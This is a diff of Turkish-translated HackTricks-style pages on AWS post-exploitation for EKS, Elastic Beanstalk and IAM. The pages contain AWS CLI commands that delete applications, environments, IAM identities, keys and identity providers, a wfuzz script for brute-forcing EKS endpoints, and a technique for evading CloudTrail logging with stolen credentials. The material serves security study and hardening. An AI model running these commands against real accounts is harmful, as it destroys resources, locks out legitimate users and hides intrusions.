/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube yapılandırması</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### AWS'den Kubernetes'e
|
||||
|
||||
Bir **EKS cluster**'ı **oluşturan** kişi, Kubernetes kümesinin **`system:masters`** (k8s admin) grubuna **HER ZAMAN** erişebilecektir. Bu yazının yazıldığı tarihte kümeyi **kim oluşturduğunu** bulmak için **doğrudan bir yol yoktur** (kontrol için CloudTrail'e bakabilirsiniz). Ve bu **ayrcalığı kaldırmanın** **bir yolu yoktur**.
|
||||
|
||||
K8s'e daha fazla **AWS IAM users or roles** için erişim vermenin yolu **configmap** **`aws-auth`**'ı kullanmaktır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu nedenle, config map **`aws-auth`** üzerinde **yazma erişimine** sahip olan herkes **tüm kümeyi ele geçirebilir**.
|
||||
|
||||
Daha fazla bilgi için, **aynı veya farklı hesapta IAM roles & users’a ekstra ayrıcalıkların nasıl verileceği** ve bunun nasıl **suistimal edileceği** hakkında [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Ayrıca [ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **gönderisini, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenmek için inceleyin**.
|
||||
|
||||
### Kubernetes'ten AWS'e
|
||||
|
||||
**OpenID authentication for kubernetes service account**'a izin vererek onların AWS rollerini üstlenmelerini sağlamak mümkündür. Nasıl çalıştığını öğrenmek için [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### JWT Token'dan Api Server Endpoint Alma
|
||||
|
||||
JWT token'ı decode ettiğimizde cluster id ve ayrıca bölge bilgisi elde ederiz.  EKS URL'inin standart formatı şu şekildedir
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
'Two chars' ve 'number' için kriterleri açıklayan herhangi bir dokümantasyon bulamadım. Ancak kendi yaptığım bazı testlerde şu tekrarları görüyorum:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Her neyse, bunlar sadece 3 karakter; bunları bruteforce edebiliriz. Listeyi oluşturmak için aşağıdaki script'i kullanın
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Sonra wfuzz ile
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Yerine & koymayı unutmayın .
|
||||
|
||||
### CloudTrail'ı Atlatma
|
||||
|
||||
Eğer bir attacker, **permission over an EKS** olan bir AWS kimlik bilgilerini elde ederse. Attacker daha önce açıklandığı gibi kendi **`kubeconfig`**'ini (**`update-kubeconfig`** çağırmadan) yapılandırırsa, **`get-token`** Cloudtrail'da log oluşturmaz çünkü AWS API ile etkileşime girmez (sadece token'ı yerel olarak oluşturur).
|
||||
|
||||
Bu nedenle attacker EKS cluster ile iletişim kurduğunda, **cloudtrail çalınan kullanıcı ve erişimiyle ilgili hiçbir şeyi loglamayacaktır**.
|
||||
|
||||
Not: EKS cluster'ın bu erişimi loglayacak şekilde logları etkinleştirilmiş olabilir (varsayılan olarak devre dışı olmalarına rağmen).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Varsayılan olarak bir cluster'ı oluşturan **user or role** her zaman cluster üzerinde **ALWAYS going to have admin privileges** olacaktır. Ve bu, AWS'nin Kubernetes cluster'ı üzerinde sahip olduğu tek "secure" erişimdir.
|
||||
|
||||
Yani, eğer bir **attacker fargate kullanarak bir cluster'ı compromises** eder ve **diğer tüm adminsleri kaldırır** ve **Cluster'ı oluşturan AWS user/role'u silerse**, ~~attacker cluster'ı ransom etmiş olabilir~~.
|
||||
|
||||
> [!TIP]
|
||||
> Dikkat: Eğer cluster **EC2 VMs** kullanıyorsa, **Node**'dan Admin ayrıcalıkları elde etmek ve cluster'ı kurtarmak mümkün olabilir.
|
||||
>
|
||||
> Aslında, eğer cluster **Fargate** kullanıyorsa EC2 node'ları oluşturabilir veya her şeyi EC2'ye taşıyarak node içindeki tokens'a erişip kurtarabilirsiniz.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Daha fazla izin gerekip gerekmediğini test et
|
||||
|
||||
`elasticbeanstalk:DeleteApplicationVersion` iznine sahip bir saldırgan, **mevcut bir uygulama sürümünü silebilir**. Bu eylem, uygulama dağıtım hatlarını kesintiye uğratabilir veya yedeklenmemişse belirli uygulama sürümlerinin kaybına neden olabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Olası Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
|
||||
|
||||
`elasticbeanstalk:TerminateEnvironment` iznine sahip bir saldırgan, **mevcut bir Elastic Beanstalk ortamını sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına neden olabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Olası Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
|
||||
|
||||
`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan, **tüm Elastic Beanstalk uygulamasını**, tüm sürümleri ve ortamlarıyla birlikte **silme** yetkisine sahiptir. Bu eylem, yedeklenmemişse uygulama kaynakları ve yapılandırmalarında önemli bir kayba neden olabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Potansiyel Etki**: Uygulama kaynaklarının, yapılandırmaların, ortamların ve uygulama sürümlerinin kaybı, hizmet kesintisine ve potansiyel veri kaybına yol açabilir.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
|
||||
|
||||
`elasticbeanstalk:SwapEnvironmentCNAMEs` iznine sahip bir saldırgan, **iki Elastic Beanstalk ortamının CNAME kayıtlarını değiştirebilir**, bu da uygulamanın yanlış sürümünün kullanıcılara sunulmasına veya istenmeyen davranışlara yol açabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Olası Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
|
||||
|
||||
`elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahip bir saldırgan, **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem, yanlış kaynak tahsisine, faturalandırmaya veya kaynak yönetimine yol açabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Olası Etki**: Eklenen veya kaldırılan etiketler nedeniyle yanlış kaynak tahsisi, faturalama veya kaynak yönetimi.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla iznin gerekli olup olmadığını test et
|
||||
|
||||
Bu izne sahip bir saldırgan `elasticbeanstalk:DeleteApplicationVersion` ile mevcut bir uygulama sürümünü **silebilir**. Bu eylem, uygulama dağıtım pipeline'larını aksatabilir veya yedeklenmemişse belirli uygulama sürümlerinin kaybına neden olabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Potansiyel Etki**: Uygulama dağıtımının kesintiye uğraması ve uygulama sürümlerinin kaybedilme olasılığı.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bu işlem için daha fazla iznin gerekli olup olmadığını test edin
|
||||
|
||||
Bu izne (`elasticbeanstalk:TerminateEnvironment`) sahip bir saldırgan mevcut bir Elastic Beanstalk environment'ı **sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına yol açar.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Potential Impact**: Uygulamanın kesintiye uğraması, olası veri kaybı ve servislerde aksama.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla iznin gerekip gerekmediğini test edin
|
||||
|
||||
`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan **bir Elastic Beanstalk uygulamasını tamamen silebilir**, tüm sürümlerini ve ortamlarını da kapsayacak şekilde. Bu eylem, yedeklenmemişse uygulama kaynaklarının ve yapılandırmalarının önemli ölçüde kaybına yol açabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Olası Etki**: Uygulama kaynaklarının, yapılandırmaların, ortamların ve uygulama sürümlerinin kaybı; bu da hizmet kesintisine ve olası veri kaybına yol açabilir.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun için daha fazla iznin gerekip gerekmediğini test edin
|
||||
|
||||
`elasticbeanstalk:SwapEnvironmentCNAMEs` iznine sahip bir saldırgan **iki Elastic Beanstalk ortamının CNAME kayıtlarını takas edebilir**, bu da kullanıcılara yanlış uygulama sürümünün sunulmasına veya istenmeyen davranışlara yol açabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Olası Etki**: Kullanıcılara uygulamanın yanlış sürümünün sunulması veya ortamların yer değiştirmesi nedeniyle uygulamada istenmeyen davranışlara yol açması.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bu işlem için daha fazla iznin gerekli olup olmadığını test edin
|
||||
|
||||
Bir saldırgan `elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahipse **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem yanlış kaynak tahsisine, faturalamaya veya kaynak yönetimine yol açabilir.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Potansiyel Etki**: Eklenen veya kaldırılan etiketler nedeniyle yanlış kaynak tahsisi, faturalandırma veya kaynak yönetimi sorunları.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,166 +0,0 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
Eğer **harici bir hesabın (A) erişmesine izin verirseniz** hesabınızdaki bir **role**'e, muhtemelen **o harici hesaba tam olarak kimin erişebildiği konusunda 0 görünürlüğe** sahip olacaksınız. Bu bir sorundur, çünkü başka bir harici hesap (B), harici hesap (A)'ya erişebiliyorsa, **B de hesabınıza erişebilecek** olabilir.
|
||||
|
||||
Bu nedenle, bir harici hesabın hesabınızdaki bir role erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, harici hesap (A)'nın **belirtmesi gereken** "gizli" bir dizgedir ve kuruluşunuzdaki **role'ü üstlenmek için** gereklidir. **Harici hesap B bu dizgeyi bilmeyeceği için**, A'ya erişimi olsa bile **role'a erişemeyecektir**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ancak, bu `ExternalId` "gizlisi"nin **gizli olmadığını** unutmayın; `IAM assume role policy`'yi **okuyabilen herkes** bunu görebilecektir. Fakat harici hesap A bunu biliyorsa ve harici hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak hesabınızdaki role'a erişmesini engeller**.
|
||||
|
||||
Örnek:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Bir attacker'ın bir confused deputy'yi exploit edebilmesi için, current account'taki principals'ların diğer accounts'taki roles'ları impersonate edip edemeyeceğini bir şekilde tespit etmesi gerekir.
|
||||
|
||||
### Beklenmeyen Güven İlişkileri
|
||||
|
||||
#### Wildcard olarak principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Bu politika **tüm AWS'nin** rolü üstlenmesine izin verir.
|
||||
|
||||
#### Hizmet principal olarak
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Bu politika **herhangi bir hesabın** apigateway'ini bu Lambda'yı çağırmak üzere yapılandırmasına izin verir.
|
||||
|
||||
#### S3 özne olarak
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
Eğer bir S3 bucket principal olarak verilmişse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer siz **bucket'ınızı sildiyseniz ve attacker onu kendi hesabında oluşturduysa**, bunu kötüye kullanabilirler.
|
||||
|
||||
#### Desteklenmiyor
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Confused Deputy sorunlarından kaçınmanın yaygın bir yolu, kaynak ARN'yi kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı servisler bunu desteklemeyebilir** (örneğin bazı kaynaklara göre CloudTrail).
|
||||
|
||||
### Kimlik Bilgilerinin Silinmesi
|
||||
Aşağıdaki izinlerden herhangi biriyle — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — bir aktör erişim anahtarlarını, giriş profillerini, SSH anahtarlarını, servis-özgü kimlik bilgilerini, instance profillerini, sertifikaları veya CloudFront açık anahtarlarını silebilir ya da rollerin instance profillerinden ayrılmasına neden olabilir. Bu tür eylemler meşru kullanıcıları ve uygulamaları derhal engelleyebilir ve hizmet reddi (denial-of-service) veya bu kimlik bilgilerine bağımlı sistemlerin erişimini kaybetmesine yol açabilir; bu nedenle bu IAM izinleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Kimlik Silme
|
||||
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` veya `iam:RemoveUserFromGroup` gibi izinlere sahip bir aktör, kullanıcıları, rolleri veya grupları silebilir ya da grup üyeliğini değiştirebilir — böylece kimlikleri ve ilişkili izleri kaldırır. Bu, bu kimliklere bağlı kişiler ve hizmetler için erişimi derhal kesebilir, denial-of-service veya erişim kaybına yol açabilir; bu yüzden bu IAM eylemleri sıkı şekilde sınırlandırılmalı ve izlenmelidir.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Şu izinlerden herhangi birine sahip bir aktör — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — yönetilen veya inline politikaları silebilir veya ayırabilir, politika sürümlerini veya izin sınırlarını kaldırabilir ve politikaları kullanıcılar, gruplar veya rollerden ayırabilir. Bu, yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu nedenle bu politikalara bağlı olan varlıklar için anında erişim kaybına veya denial-of-service'e yol açabilir, bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Federe Kimlik Sağlayıcılarının Silinmesi
|
||||
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, ve `iam:RemoveClientIDFromOpenIDConnectProvider` ile bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya istemci kimliklerini kaldırabilir. Bu, federe kimlik doğrulamayı bozarak token doğrulamasını engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO'ya bağlı kullanıcılar ve hizmetler için erişimi anında reddeder.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Yetkisiz MFA Etkinleştirme
|
||||
`iam:EnableMFADevice` ile bir aktör, bir kullanıcının kimliğine bir MFA cihazı kaydederek meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde, cihaz kaldırılana veya sıfırlanana kadar kullanıcı kilitlenebilir (not: eğer birden fazla MFA cihazı kayıtlıysa, oturum açmak için yalnızca birine ihtiyaç vardır, bu nedenle bu saldırı erişimi engellemede etkili olmayacaktır).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Sertifika/Anahtar Meta Veri Değiştirme
|
||||
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` izinleriyle bir aktör açık anahtarların ve sertifikaların durumunu veya meta verisini değiştirebilir. Anahtarları/sertifikaları etkin olmayan olarak işaretleyerek veya referansları değiştirerek SSH kimlik doğrulamayı bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağımlı hizmetleri anında aksatabilir; bu da erişim kaybına veya kullanılabilirlik sorunlarına yol açar.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
IAM erişimi hakkında daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problemi
|
||||
|
||||
Eğer bir **harici hesaba (A)** hesabınızdaki bir **role** erişim izni verirseniz, muhtemelen **bu harici hesaba kimin tam olarak erişebildiği** konusunda **hiç (0) görünürlüğe** sahip olmazsınız. Bu bir sorundur; çünkü başka bir harici hesap (B), A'ya erişebiliyorsa, **B'nin de hesabınıza erişebilmesi** mümkündür.
|
||||
|
||||
Bu nedenle, bir harici hesaba hesabınızdaki bir role erişim izni verirken bir `ExternalId` belirtmek mümkündür. Bu, harici hesap (A)'nın organizasyonunuzdaki role'ü üstlenebilmek için belirtmesi gereken bir "gizli" dizgedir. Harici hesap B bu dizgeyi bilmediğinden, A'ya erişimi olsa bile hesabınızdaki role'e erişemeyecektir.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
